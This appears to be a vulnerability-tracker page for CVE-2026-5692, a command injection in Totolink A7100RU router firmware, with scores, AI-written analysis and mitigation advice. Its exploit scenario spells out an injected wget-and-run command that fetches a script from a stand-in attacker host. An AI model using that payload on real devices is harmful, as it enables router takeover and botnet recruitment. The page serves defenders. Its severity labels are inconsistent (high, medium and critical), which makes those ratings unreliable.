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A7100Ru EUVDEUVD-2026-19557

| CVE-2026-5692 MEDIUM
OS Command Injection (CWE-78)
2026-04-06 VulDB
5.5
CVSS 4.0 · Vendor: VulDB
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This represents a high-severity risk requiring immediate attention. The CVSS v3.1 base score of 7.3 reflects significant impact across confidentiality, integrity, and availability (C:L/I:L/A:L), though the unauthenticated network attack vector (AV:N/AC:L/PR:N/UI:N) makes exploitation trivial for remote adversaries. The CVSS Exploit Maturity indicator shows E:P (Proof-of-concept exists), confirmed by the public GitHub repository containing working exploit code. No CISA KEV listing indicates confirmed active exploitation has not been reported to CISA, but the combination of unauthenticated remote access, low attack complexity, and publicly available exploit code creates immediate weaponization potential. Consumer routers like the A7100RU frequently remain unpatched in home and small business environments, and command injection vulnerabilities enable complete device compromise for botnet recruitment, traffic interception, or pivot points into internal networks. The temporal vector RL:X indicates no official remediation information was available at initial assessment. Real-world risk is elevated due to the exploit availability and target device class, despite moderate CVSS impact ratings.

Exploit ScenarioDerived

An unauthenticated attacker on the internet scans for Totolink A7100RU routers exposing their web interface on public IP addresses, identifying vulnerable devices by fingerprinting the /cgi-bin/cstecgi.cgi endpoint. Using the publicly available GitHub proof-of-concept exploit code, the attacker crafts an HTTP request to the setGameSpeedCfg function with a malicious 'enable' parameter containing shell metacharacters and commands, such as '; wget http://attacker.com/malware.sh -O /tmp/bot && sh /tmp/bot;'. The router executes these injected commands with root privileges, downloading and running a cryptocurrency mining bot or DDoS malware that recruits the device into a botnet. The compromised router can then be used to intercept DNS queries, redirect traffic to phishing sites, or serve as a persistent foothold for attacking devices on the victim's internal network, all while appearing as legitimate router traffic.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 2.4% exploitation probability (EPSS)

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AnalysisAIv1 – Apr 06, 2026

OS command injection in Totolink A7100RU router firmware 7.4cu.2313_b20191024 allows unauthenticated remote attackers to execute arbitrary system commands via the 'enable' parameter in the setGameSpeedCfg function of /cgi-bin/cstecgi.cgi. Public exploit code exists on GitHub (EPSS and KEV status not provided, but publicly available proof-of-concept increases immediate risk). Attack vector is network-based with low complexity requiring no user interaction or authentication (CVSS:3.1 AV:N/AC:L/PR:N/UI:N).

RemediationAI

No vendor-released patch identified at time of analysis based on available references (CVSS temporal vector RL:X indicates unavailable remediation). Users should immediately check the Totolink support website at https://www.totolink.net/ for firmware updates newer than version 7.4cu.2313_b20191024 and apply them if available. As interim mitigations, disable remote administration access to the router's web interface, restrict management access to trusted internal IP addresses only through firewall rules if the router supports this feature, and place the device behind a separate firewall that blocks external access to ports 80 and 443 destined for the router's LAN IP. Consider replacing the device with alternative hardware if Totolink does not release security updates, as command injection vulnerabilities in embedded devices are often terminal security issues without vendor patches. Monitor VulDB references (https://vuldb.com/vuln/355519) and the vendor site for updated remediation guidance.

Affected VersionsENISA

A7100RU 7.4cu.2313_b20191024

Affected Packages

euvd a7100ru no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Totolink A7100RU router (CPE: cpe:2.3:a:totolink:a7100ru), specifically firmware version 7.4cu.2313_b20191024 released October 2019. The flaw resides in the web administration interface's CGI handler at /cgi-bin/cstecgi.cgi, within the setGameSpeedCfg function likely intended for gaming traffic optimization features. The root cause is CWE-78 (OS Command Injection), where user-controlled input from the 'enable' parameter is passed to system shell commands without proper sanitization or validation. This classic injection vulnerability allows attackers to break out of the intended command context and execute arbitrary operating system commands with the privileges of the web server process, typically running as root on embedded router devices. The CGI interface's direct exposure to the network combined with lack of input validation creates a straightforward attack surface.

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Severity by source

Vendor (VulDB) PRIMARY 5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 29, 2026 - 01:11 NVD
6.9 (MEDIUM) 5.5 (MEDIUM)
PoC Detected
Apr 07, 2026 - 13:20 vuln.today
Public exploit code
CVE Published
Apr 06, 2026 - 23:15 nvd
MEDIUM 6.9

DescriptionCVE.org

A vulnerability was found in Totolink A7100RU 7.4cu.2313_b20191024. This impacts the function setGameSpeedCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument enable results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used.

Executive ViewAI

Why It Matters

CVE-2026-5692 is a critical unauthenticated remote code execution vulnerability affecting Totolik A7100RU routers running firmware 7.4cu.2313_b20191024, allowing attackers to execute arbitrary commands without authentication. Organizations using this router model face immediate risk of full network compromise, as the vulnerability requires no user interaction and is exploitable over the network. With publicly available exploit code and no vendor patch currently available, this represents an urgent threat to network perimeter security.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict network access to the router's administrative interface via firewall rules; segment the router on a restricted management VLAN; disable remote management access if operationally feasible; monitor inbound traffic to port 80/443 on affected devices for exploitation attempts; consider temporary replacement with alternative router hardware until patched firmware is available.

Threat Intelligence Overview

EPSS Score
2.4%
Top 15% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 2.4%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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